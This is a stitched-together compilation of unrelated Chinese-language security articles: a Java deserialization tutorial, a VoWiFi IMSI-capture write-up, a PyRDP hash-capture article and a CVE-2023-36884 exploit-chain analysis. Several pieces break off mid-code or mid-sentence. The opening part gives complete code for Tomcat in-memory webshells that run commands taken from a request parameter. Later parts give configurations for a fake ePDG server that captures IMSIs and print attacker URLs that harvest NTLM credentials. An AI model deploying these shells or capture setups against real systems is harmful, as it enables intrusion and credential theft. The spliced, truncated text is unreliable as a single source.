使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。

1679537849174356.png

圖2.5 生成payload

1679537888768042.png

圖2.6 使用生成的payload進行反序列化測試

0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。

基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。

%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %

% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {

} };

%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();

//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());

//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);

//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%

訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。

1679538018616480.png

圖3.1 通過jsp文件來實現內存馬

上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。

內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。

package ysoserial.template;

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;

public class DFSMemShell {

private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');

public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {

}

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();

}

@Override public void destroy() {

} }); standardCtx.addFilterDef(filterDef);

Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }

public Object getStandardContext(){ return standard_context_obj; }

public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA

首先我會通過三個實驗來學習VoWifi/VoLTE的工作原理:

使用fasferraz 的Python IKEv2/EAP-AKA 實現連接到VoWifi:失敗;

使用Linphone 連接到VoLTE:失敗;

使用Wi-Fi 熱點、假DNS 服務器和VPN 服務器捕獲IMSI:成功;

VoLTE和VoWifi看起來可能很複雜,但要打電話,只需要和兩台電腦進行連接就可以了:

1.1.png

VoLTE和VoWifi是基於常見技術的:

在VoLTE 中,電話通過SIP 連接到P-CSCF,這是運營商的SIP VoIP 服務器。

在VoWifi中,手機首先與運營商的VoWifi VPN服務器ePDG進行IPSec VPN連接。然後通過VPN連接到P-CSCF SIP服務器,比如VoLTE。

然而,VoLTE的實現與我們日常使用的vpn和VoIP軟件不兼容。這份來自Sysmocom的報告顯示,修改Ubuntu Touch以支持VoLTE需要幾個月的時間。

那麼,是什麼阻止我用普通的VPN軟件連接到VoWifi VPN服務器,或者用普通的VoIP軟件連接到VoLTE SIP服務器呢?我決定找出答案。

在VMWare Fusion虛擬機上的Ubuntu 21.04上進行的實驗,連接到Mint上運行Android 11的Pixel 3 XL上(T-Mobile MVNO)。

連接到VoWifi為了連接到特殊的VoWifi VPN,我使用了fasferraz的SWu-IKEv2,這是一個IKEv2/IPSec VPN客戶端,它使用SIM卡實現了特殊的EAP-AKA認證方法。

在EAP-AKA 中:

只有運營商和SIM 卡本身知道密鑰K;

認證時,運營商發送兩個值:AUTN 值和RAND 值;

AUTN 值向SIM 卡證明它是真正的運營商;

SIM卡用秘鑰K對RAND值進行加密,導出兩個秘鑰:IK、CK和響應值RES;

它將RES 值發回給運營商以證明它是真正的SIM 卡;

手機使用IK 和CK 加密連接;

運營商使用K 密鑰進行相同的加密以獲得預期的IK、CK 和RES 值;

運營商在解密連接前將RES值與IK和CK進行比較;

由於沒有其他人擁有K 密鑰,因此他們無法竊聽或冒充用戶/運營商;

綜上所述,我需要將AUTN和RAND發送到SIM卡上,並取回RES、IK和CK。

SWu-IKEv2 支持與真正的SIM 卡進行EAP-AKA 通信,定義了一個HTTP API 來與SIM 卡讀卡器通信。

我決定將該API實現為一個Android應用程序,這樣我可以在我的手機中使用SIM卡:

Android有一個公共API, TelephonyManager。 getIccAuthentication來運行這個身份驗證流程;

為Android 的Wi-Fi 添加框架,因為存在使用SIM 卡進行身份驗證的Wi-Fi 熱點;

ADB也可以在Android 10及以上版本上使用;

在Android 8.1 上不可用,我嘗試使用其他SIM 卡API 來嘗試獲取此值,但每次都不成功。我構建了一個生成SIM 身份驗證請求的HTTP 服務器Android 應用程序:

adbshellsh/sdcard/runsimserver.shserve3333我的應用程序使用http而不是https,因為我不需要處理證書。值得慶幸的是,很容易修補SWu-IKEv2 以支持純http。

如果出現故障,adb logcat -b radio 通常會給出調製解調器的錯誤消息。

我在網上搜索T-Mobile的ePDG地址,將APN設置為ims,將SWu-IKEv2的SIM讀取器地址指向我的手機,並嘗試連接:

#python3swu_emulator.py-m'http://192.168.1.9:3333'-d'ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org'-M310-N260-a'ims'STATE3:

-------

sendingIKE_SA_AUTH(2)

receiveddecodedmessage:

[[46,[[41,[0,24,b'',b'']]]]]

receivedIKE_AUTH(2)

OTHER_ERROR:24它會獲得大部分握手,包括SIM 卡憑據,但會在IKE_SA_AUTH 上返回錯誤。

可能是因為Mint Mobile要求我在打開Wi-Fi通話前註冊一個緊急地址,或者SWu-IKEv2沒有實現與T-Mobile/Mint兼容的握手。

事實上,當我嘗試Verizon的Wi-Fi呼叫服務器時,SWu-IKEv2甚至無法通過握手的第一步,也無法進行SIM卡認證。我嘗試了StrongSwan,但無法找出配置文件。

連接到VoLTE如果我無法連接到VoWifi VPN,是否可以直接連接到VoLTE SIP服務器?

在Android上,我可以使用dumpsys找到SIP服務器地址:

$dumpsystelephony.registryPcscfAddresses:[/fd00:1234:5678:1234:1,/fd00:1234:1:123:1,/fd00:1234:5678:1234:2]這是一個私有的(fd00:) IP地址,所以不能通過互聯網訪問,但我可以通過Wi-Fi從我的手機訪問它。

我首先嘗試了SIP測試器sipp,看看它是否可以進行任何SIP連接:

$sipp-snuacfd00:1234:1:123:1-m1-auth_uri'sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org'

Resolvingremotehost'fd00:1234:1:123:1'.Done.

2021-11-1412:17:42.1888101636910262.188810:AbortingcallonunexpectedmessageforCall-Id'1-4126@1234:5678:1234:5678:1234:5678:1234:5678':whileexpecting'100'(index1),received'SIP/2.0403Forbidden

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=

To:service;tag=

From:sipp;tag=

Call-ID:1-4126@1234:5678:1234:5678:1234:5678:1234:5678

CSeq:1INVITE

Content-Length:0

'因為它得到了一個SIP響應,所以我決定嘗試一下Linphone,看看是否效果更好。

echo'registersip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org[fd00:1234:5678:1234:1]'|linphone-daemon--config./lollinphonerc

daemon-linphoneStatus:Ok

Id:2

daemon-linphoneQuitting.

查看日誌,它似乎失敗並顯示需要擴展消息:

REGISTERsip:ims.mnc260.mcc310.3gppnetwork.orgSIP/2.0

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport

From:tag=by3qRAb72

To:sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org

CSeq:21REGISTER

Call-ID:BqHzXhfQzf

Max-Forwards:70

Supported:replaces,outbound,gruu,sec-agree

Accept:application/sdp

Accept:text/plain

Accept:application/vnd.gsma.rcs-ft-http+xml

Contact:+sip.instance=''

Expires:0

User-Agent:Unknown(belle-sip/4.4.0)

SIP/2.0421ExtensionRequired

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0

To:tag=hmpyfr9c6bln4s4tqy698hv3v

From:tag=LEotRcq8b

Call-ID:H3P5ZXk7Z2

CSeq:20REGISTER

Require:sec-agree

Content-Length:0在查看了真正的SIP 客戶端有哪些擴展之後,我嘗試將此行添加到Linphone 配置中。

[sip]

supported=replaces,outbound,gruu,sec-agree這在標題中設置了Supported: replaces, outbound, gruu, sec-agree,但我得到了完全相同的Extension Required 錯誤。

假的VoWifi ePDG如上所述,所以連接到運營商是不可能的。

值得慶幸的是,偽裝成是運營商來獲取IMSI 很容易,並且有如何做到這一點的指南。

為了偽裝成ePDG Wi-Fi 呼叫VPN,我創建了一個StrongSwan VPN 配置:

configsetup

charondebug='ike4'

connikev2-vpn

auto=add

type=tunnel

keyexchange=ikev2

left=%any

leftid=@ims

right=%any

rightid=%any

rightauth=eap-aka

rightsourceip=10.10.10.0/24

rightdns=8.8.8.8,8.8.4.4開始StrongSwan:

sudoipsecstart--nofork--confhello.conf啟動了一個DNS 服務器,將ePDG VPN 服務器域重定向到我的假Wi-Fi 呼叫服務器:

sudodnsmasq-d--no-resolv--no-hosts--log-queries--server8.8.8.8--address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10然後我更改了手機上的DNS,激活了Wi-Fi 呼叫,然後在我的控制台上看到了這個:

07[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](496bytes)

07[ENC]parsedIKE_SA_INITrequest0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)]

07[IKE]192.168.1.9isinitiatinganIKE_SA

07[CFG]selectedproposal:IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048

07[ENC]generatingIKE_SA_INITresponse0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)N(CHDLESS_SUP)N(MULT_AUTH)]

07[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](456bytes)

08[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](348bytes)

08[ENC]unknownattributetype(16386)

08[ENC]parsedIKE_AUTHrequest1[IDiIDrCPRQ((16386)DNS6DNS6ADDR6)SATSiTSr]

08[CFG]lookingforpeerconfigsmatching192.168.1.10[ims].192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]

08[CFG]nomatchingpeerconfigfound

08[ENC]generatingIKE_AUTHresponse1[N(AUTH_FAILED)]

08[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](76bytes)還有我的IMSI,發送給任何控制Wi-Fi 網絡、DNS 和VPN 服務器的對手。

基於Wi-Fi 搭建一個VoLTE/VoWiFi 環境對VoLTE/VoWiFi 的研究不需要昂貴的設備!通過使用免費軟件設置你自己的Wi-Fi 呼叫服務器,了解VoLTE/VoWiFi 的工作原理。

2.1.jpg

我會在本文中向你展示如何接管越獄iPhone 上的Wi-Fi 通話,並將其集成到本地電話撥號器和短信應用程序中,就像真正的運營商一樣。

我的最終目標是發行我自己的SIM 卡,通過Wi-Fi 將任何越獄或未越獄的手機連接到我的電話網絡。

VoLTE 和Wi-Fi 通話基於IPsec/IKEv2 和SIP 等開放標準,因此我們的電話網絡將使用免費軟件構建:

iPhone - 越獄調整以重定向Wi-Fi 呼叫- 我的Docker 容器- StrongSwan - Kamailio;

檢查VoWiFi要了解VoLTE 和VoWiFi,首先要在你撥打電話或發送SMS 時捕獲手機的流量。

你只需要一部iPhone 和一台裝有Xcode 和Wireshark 的Mac。

Xcode 提供了rvictl 工具來捕獲來自iPhone 的所有網絡流量,無需越獄。

如果你沒有Mac,gh2o 的rvi_capture 可以在Linux 和Windows 上捕獲。

所有電話和運營商之間的SIP消息是可見的,完全不加密。你可以看到當你撥打另一個電話時會發生什麼:

2.2.png

或者你如何接收短信:

2.3.png

在VoWiFi 上,你甚至可以轉儲實際的語音編解碼器數據包。

此外,iPhone 還提供來自VoWiFi ePDG VPN 隧道和SMS 處理的日誌:

在Mac 上打開控制台應用程序,過濾到CommCenter,然後啟用“操作- 包含信息消息/包含調試消息”。然後,過濾CommCenter 以獲取VoLTE/VoWiFi 消息,例如此IKEv2 握手:

2.4.png

建立自己的電話網絡如果你不想只查看VoLTE/VoWiFi 數據包怎麼辦?如果你想建立自己的網絡怎麼辦?為此,你需要一個越獄的iPhone 和一個Docker 容器。

我在iOS 14.1 上使用帶有Verizon SIM 卡的越獄iPhone 12。

如果你使用的是Android,則搭載Android 10 及更高版本的設備(所有2020 年或更高版本的設備)可能會在沒有root 的情況下重定向Wi-Fi 呼叫,但我還沒有嘗試過。

重定向ePDG 連接我們的目標是VoWiFi(Wi-Fi 通話),因為運行VoLTE 網絡需要至少150 美元的收音機,並獲得LTE頻率的廣播許可。 Wi-Fi 不需要任何特殊的硬件或繁文縟節。

Wi-Fi 通話使用IPsec/IKEv2 VPN 隧道進行保護,並使用EAP-AKA 進行身份驗證,它使用SIM 卡上只有運營商知道的密鑰。

由於我沒有空白SIM 卡,我編寫了一個越獄插件,用簡單的預共享密鑰(密碼)身份驗證替換SIM 卡檢查。

要運行調整,你需要:

越獄你的手機並安裝Substrate 或其他方法掛鉤平台;

設置Theos;

複製RedirectVoWiFiTweak;

將服務器地址指向你的VoWiFi 服務器的地址;

安裝包;

將你的手機置於飛行模式,然後啟用Wi-Fi通話(設置-蜂窩- Wi-Fi通話);

最終結果:VoWifi 隧道為你的IPsec/IKEv2 VPN 服務器創建了一個VPN,而不是Verizon 的。

我是如何構建調整的iPhone 在用戶空間中運行整個VoLTE/VoWiFi 堆棧:通過越獄,我們可以做任何事情。但是,我的最終目標是在未越獄的手機上使用自定義SIM 卡進行這項工作,所以我只做了最小的更改。

ePDG 只是一個IPsec/IKEv2 VPN 隧道,在SIM 卡上具有EAP-AKA 身份驗證。要禁用EAP-AKA 身份驗證並切換到PSK:

我運行nm CommCenter,看到它正在使用NEIPSecIKECreateSessionWithInterface啟動VPN隧道;

我在NetworkExtensions中找到了這個符號,並在Ghidra中分解了它;

它是一個包裝器-[NEIKEv2Session

initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:ssession:packetDelegate:]';我鉤住了那個方法,並刪除了參數;

我用PSK 在Mac 上創建了另一個IPsec/IKEv2 隧道;

我附加到macOS 的VPN 實現:

lldb-nNEIKEv2Provider-w

binitWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:我將其參數與VoLTE ePDG隧道進行了比較,以了解macOS如何設置PSK;

我為PSK設置了相同的標誌;

這是我第一次調試iPhone,結果如下:

dlevi309 向我發送拉取請求以自動重啟CommCenter;

hbkirb 將我指向HearseDev 的Theos 徽標語言的clang 格式包裝器;

用到的資源如下:

Kanns103 的調整開髮指南;

elihwyma 的commcenterpatch13,它也掛鉤了CommCenter;

擁有StrongSwan 和Kamailio 的Wi-Fi 呼叫服務器

用一個電話與兩個服務通話來建立VoWifi:

ePDG,一個IPsec/IKEv2 VPN 服務器,我們使用StrongSwan;

P-CSCF,一個SIP VoIP 服務器,我們使用Kamailio;

我用兩個預裝做了一個Docker容器。

在macOS 12.1/Mac Mini 2020 (M1)/Docker for Mac 上測試。

首先,如果你不在Verizon 上,請在配置中更改IMS 域。你可以通過使用rvictl 捕獲SIP REGISTER 請求來查找域。

然後,運行:

dockercomposebuild

dockercomposeup等待來自電話的連接:

12[IKE]IKE_SAikev2-vpn-iphone[4]establishedbetween172.19.0.2[ims].172.19.0.1

12[IKE]IKE_SAikev2-vpn-iphone[4]statechange:CONNECTING=ESTABLISHED然後嘗試向手機發送短信:

ssh-p22222root@localhost

Password:vowifi

$encodesms1555444333319085823275'hello'將

或緊急警報:

$encodesms_cdmaemerg19085823275'duckandcover'或者打個電話:

$baresip

/uanewsip:+15554443333@localhost

/dialsip:+19085823275@localhost甚至嘗試在你自己的網絡上複製Purdue大學研

遠程桌面協議(RDP) 在網絡安全領域發揮的作用越老越大。勒索軟件組織將其作為攻擊公共和私營部門的抓手,在2019 年由遠程桌面協議引起的攻擊已經造成了75 億美元的損失。在2020 年,RDP 攻擊增長了768%。網絡安全與基礎設施安全局(Cybersecurity Infrastructure Security Agency)等機構在其2020年的《勒索软件指南》 (Ransomware Guide)中將RDP列為需要保護的焦點。而在另一方面,滲透測試團隊正在定期使用RDP作為在網絡內部進行橫向移動、劫持會話和捕獲哈希值等的有效工具。

GoSecure Titan Labs 團隊看到了進一步探索哈希捕獲主題的機會,這是任何進攻團隊的必備工具。本文將研究RDP 安全模式、它們如何工作以及如何使用PyRDP(GoSecure 創建的庫)通過RDP 協議將其付諸行動以捕獲NetNTLMv2 哈希。這一努力始於每年長達一個月的Hacktoberfest期間的一個項目,該項目導致了PyRDP的幾項改進。在這些改進中,我們讓用戶更容易捕獲NetNTLMv2哈希。

首先,我們將介紹一種用於攻擊性用例的技術,通過在NTLMSSP身份驗證期間捕獲NetNTLMv2哈希值來獲得對遠程RDP設備的訪問。為了將其付諸實踐,我們將利用PyRDP 在RDP 支持的兩個主要身份驗證場景中執行這些哈希的捕獲:啟用網絡級別身份驗證(NLA) 和不啟用NLA。為了更多地了解這兩種場景,讓我們從詳細介紹RDP 協議中可用的安全模式開始。

RDP 安全模式RDP 是一種通常用於通過TCP/IP 使用終端客戶端和服務器來遠程管理計算機的協議。目前,它提供了不同類型的安全模式來加密客戶端和服務器之間的通信:

RDP 標準安全性:根據客戶端的支持和服務器選擇的加密級別(低、客戶端兼容、高、FIPS)對所有流量進行對稱加密。這種方法在中間人攻擊攻擊的情況下是最不安全的,因為服務器控制加密方法並可以決定是否不需要加密,從而完全禁用它。

1.png

RDP 增強安全性:通過外部協議提供加密和安全機制。其中兩種機制是:自RDP 5.2以來的TLS(傳輸層安全)和CredSSP,自RDP 6以來,除了使用TLS外,它還支持NLA(網絡級別認證)。帶有TLS的RDP還警告用戶,如果服務器的證書是自簽名的或不受信任的,可能會發生中間人攻擊,但它不會阻止客戶端接受風險。

當RDP 使用NLA 的增強安全性時,用於委派合適的身份驗證方法的協議是憑據安全支持提供程序(CredSSP)。這些授權的身份驗證方法是Kerberos 或NTLMSSP,後者是用於捕獲NetNTLMv2 哈希的身份驗證方法,這些哈希用於客戶端和服務器之間的質詢/身份驗證消息。

通過網絡級身份驗證剖析身份驗證為了理解NetNTLMv2 哈希捕獲,本節將詳細描述通過NLA 進行的身份驗證及其結構。為了簡化這個過程,我們將把它分成四個階段:

2.png

1.RDP 客戶端和服務器之間建立了TLS 連接;

2.CredSSP 的SPNEGO 為客戶端和服務器執行,以決定將使用哪種相互身份驗證協議:Kerberos 或NTLMSSP;

3.在這一步中,將發送服務器的公鑰進行驗證,並探測其真實性。這樣做是為了避免中間人攻擊;

4.一旦通過TLS 和SPNEGO 保護連接,客戶端就會發送其憑據以進行身份驗證。

我們的注意力將集中在最後一步,因為在使用NTLMSSP 協議的情況下,客戶端將以NTLM 消息的形式發送憑據的哈希版本並將被攔截。這些消息是ASN.1 編碼的TSRequest 結構,身份驗證數據按以下順序發送:

3.png

首先,客戶端發送一個NEGOTIATION消息來啟動NTLM認證,服務器端發送一個CHALLENGE消息來回應這個質詢。在這個階段,質詢是包含隨機數(用於防止重放攻擊的隨機字節序列)的64 位值。然後,客戶端使用個身份驗證消息來響應這個請求,該消息包含完成身份驗證過程所需的憑據。這是我們希望從客戶短中提取質詢響應(以 NTLMv2_RESPONSE 結構的形式)並進行中繼或破解的階段。

NTLMv2_RESPONSE結構很容易理解和解析,因為它只包含16字節的響應和可變大小的客戶端質詢。客戶端的質詢可以概括為使用從安全帳戶管理器(SAM) 或Active Directory (AD) 獲得的NT 哈希構建的LMv2 和NTv2 哈希,並使用HMAC-MD5對用戶和域名進行哈希。所有這些都形成了NetNTLMv2哈希,這是密碼破解工具如 John the Ripper 或 hashcat所需要的。

使用PyRDP 捕獲NetNTLMv2 哈希PyRDPi 是我們開發的一個庫,用於執行中間人攻擊並試驗RDP 協議。在中間人攻擊模式下,PyRDP有能力攔截NetNTLMv2哈希,即使它沒有實服務器的證書和私鑰,並且NLA是由服務器強制執行的。在本節中,我們將探索和描述兩種可以執行哈希捕獲的場景。

在第一種場景中,我們擁有受攻擊服務器的證書和私鑰。在本例中,RDP客戶端和服務器之間的交互將在CredSSP支持下進行,PyRDP將以兩種方式傳輸NTLMSSP消息。 NetNTLMv2捕獲是在RDP服務器發送CHALLENGE消息之後完成的,PyRDP從消息中提取服務器的CHALLENGE值,客戶端響應PyRDP記錄的哈希值,然後發送給RDP服務器繼續身份驗證過程。

4.png

我們最近實現了第二個場景:NLA 由服務器強制執行,但我們沒有服務器的證書和私鑰。在這個場景中,PyRDP將切斷與原始服務器的連接,並繼續進行客戶端連接和NTLMSSP身份驗證,以便執行前面所示的相同的NetNTLMv2提取。 PyRDP在接收到客戶端的NEGOTIATION消息後將生成CHALLENGE消息並發送它。通過這種方式,PyRDP可以控制質詢值,稍後將接收AUTHENTICATION消息。

5.png

為了說明這種攻擊,當PyRDP 在未啟用NLA 的情況下運行(默認值,請參見——auth標誌啟用NLA攻擊),並且客戶端試圖連接到執行NLA攻擊的服務器,然後從AUTHENTICATION消息的哈希提取之後,日誌如下所示:

6.png

請注意,在最後一個場景中,一旦提取了哈希,PyRDP 和客戶端之間的連接就會關閉,因為中間人攻擊進程無法完成服務器的連接,因為它受到NLA 的保護。

總結在本文中,我們展示了在RDP連接期間如何捕獲NetNTLMv2,以及PyRDP可以用作一種實用的攻擊工具。

漏洞鏈攻擊是從以下誘餌開始:

微信截图_20231115000613.png

分析時,研究人員觀察到一個有趣的Microsoft Word文檔(.docx文件)於2023年7月3日首次提交給VirusTotal,名為Overview_of_UWCs_UkraineInNATO_campaign.docx。

該活動被社區歸因於Storm-0978(也被稱為RomCom組織,因為他們使用了RomCom後門)。

1.png

惡意Word文檔誘餌

此文檔託管在以下URL:

hxxps://www.ukrainianworldcongress[.]info/sites/default/files/document/forms/2023/Overview_of_UWCs_UkraineInNATO_campaign.docx上面的鏈接表明該文檔很可能是通過電子郵件傳播的,電子郵件文本包含指向.docx文件的鏈接。文件的創建日期和域名ukrainianworldcongress的註冊日期都是2023年6月26日。這個時間點表明,這是一個基於電子郵件的活動,其中包含.docx文件的鏈接。

當該文件最初提交給VirusTotal時,62個殺毒軟件中有27個將其識別為惡意文件。

CVE-2023-36584利用的技術分析微軟Office文檔一直是攻擊者傳播惡意軟件的常用攻擊手段。為了應對這一威脅,微軟實施了mow安全,限制Office文檔中的各種功能來自不受信任的位置。

Windows將這些文件識別為高風險文件。帶有mow標記的文件會生成一個SmartScreen提示,表明它有潛在的危險。當Word文檔未標記為mow時,就會被攻擊者利用,導致禁用Protected View。

為了理解CVE-2023-36884是如何被特定的誘餌利用的,我們應該首先了解Microsoft Word對Open XML文件格式的實現過程,在本例中是針對MS-DOCX (.docx)文件。

MS-DOCX文件是一個壓縮的ZIP歸檔文件,其中包含用於顯示Word文檔的多個規範文件。其中之一是位於word/document.xml的XML文件。這是MS-DOCX文件的核心XML組件,它包含文檔的文本和格式。

在Microsoft Word中查看MS-DOCX文件時,文檔的大部分內容都是通過Word /document.xml導入的。

在.docx誘餌中,word/document.xml使用名為altChunk的導入外部內容元素導入內容,如下圖所示。

2.png

這個altChunk元素可以導入使用另一種格式的內容,比如富文本格式(RTF),來自.docx文件的word/document.xml有一個altChunk元素,它使用標識符AltChunkId5指示與外部內容的關係。這個標識符在word/_rels/document.xml.rels的關係文件中被定義。

3.png

上圖中顯示的document.xml.rels代碼片段將導入的目標標識為位於word/afchunk.rtf的文件。

RTF文件afchunk.rtf包含兩個惡意的OLE (Object Linking and Embedding)對象。第一個OLE對象使用帶有objautlink RTF控製字的OLE自動鏈接類型,在objautlink控製字之後,一個objupdate控製字強制對像在顯示之前進行更新,如下圖所示。

4.png

對像類被定義為Word.Document.8,其數據在其標頭中包含LinkedObject結構,後跟表示十六進製字符的ASCII文本。

我們使用Didier Steven的rtfdump.py工具進一步檢查afchunk.rtf。下圖顯示了前面所示的objautlink片段的十六進制(hex)輸出,這個輸出更清楚地顯示了LinkedObject結構。

5.png

第一個惡意OLE對象的rtfdump.py輸出

此十六進制轉儲顯示\\104.234.239[.]26\share1\MSHTML_C7\file001.url,一個使用服務器消息塊(SMB)協議的惡意url。

使用rtfdump.py查看afchunk.rtf,我們發現另一個使用xmlfile類的惡意OLE對象,其標頭包含EmbeddedObject結構。嵌入的對像是一個複合文檔,其中包含一個URLMoniker,它從URL加載XML文件hxxp://74.50.94[.]156/MSHTML_C7/start.xml,如下圖中的藍色標註。

6.png

第二個惡意OLE對象的rtfdump.py輸出

漏洞利用鏈的第一階段對該漏洞利用鏈的初步研究得出了一個流程圖,該流程圖由@zcracga創建,並於2023年7月12日由@r00tbsd共享。該流程圖有助於可視化通過漏洞利用鏈工作的不同階段。

7.jpeg

漏洞利用鏈流程圖

我們最初關注的域是afchunk.rtf中惡意OLE對象的兩個URL。如前所述,這些OLE對像從以下URL請求內容:

\\104.234.239[.]26\share1\MSHTML_C7\file001.url

hxxp://74.50.94[.]156/MSHTML_C7/start.xml當Windows客戶端連接到SMB服務器時,該客戶端會發送Windows NT LAN Manager(NTLM)憑據進行身份驗證。因此,當受害者主機訪問位於\\104.234.239[.]26\share1\MSHTML_C7\file001.URL的URL時,它會將受害者的NTLM憑據及其主機名和用戶名洩漏給攻擊者控制的SMB服務器。收集到的信息稍後將用於攻擊鏈。

下圖顯示了嵌入file001.url中的HTML代碼。

8.png

file001.url片段

通過檢查file001.url,UName變量包含受害者的用戶名。這是攻擊者控制的SMB服務器從受害者洩露的NTLM憑據中收集的用戶名。如果上圖顯示的變量d不為空,則漏洞利用鏈將用戶名與攻擊者傳遞的值連接起來,該值用於創建名為2222.CHM的CHM文件的路徑,該文件包含在名為file001.zip的文件中。

在攻擊鏈的這一階段,2222.chm不存在,或者它可能是攻擊者使用的其他攻擊的一部分。 file001.url的進一步行為將在後面解釋,因為它與2222.chm密切相關。

afchunk.rtf中的第二個惡意OLE對象來自hxxp://74.50.94[.]156/MSHTML_C7/start.xml。此start.xml文件包含一個iframe,用於從同一服務器和目錄路徑加載另一個名為RFile.asp的文件。

10.png

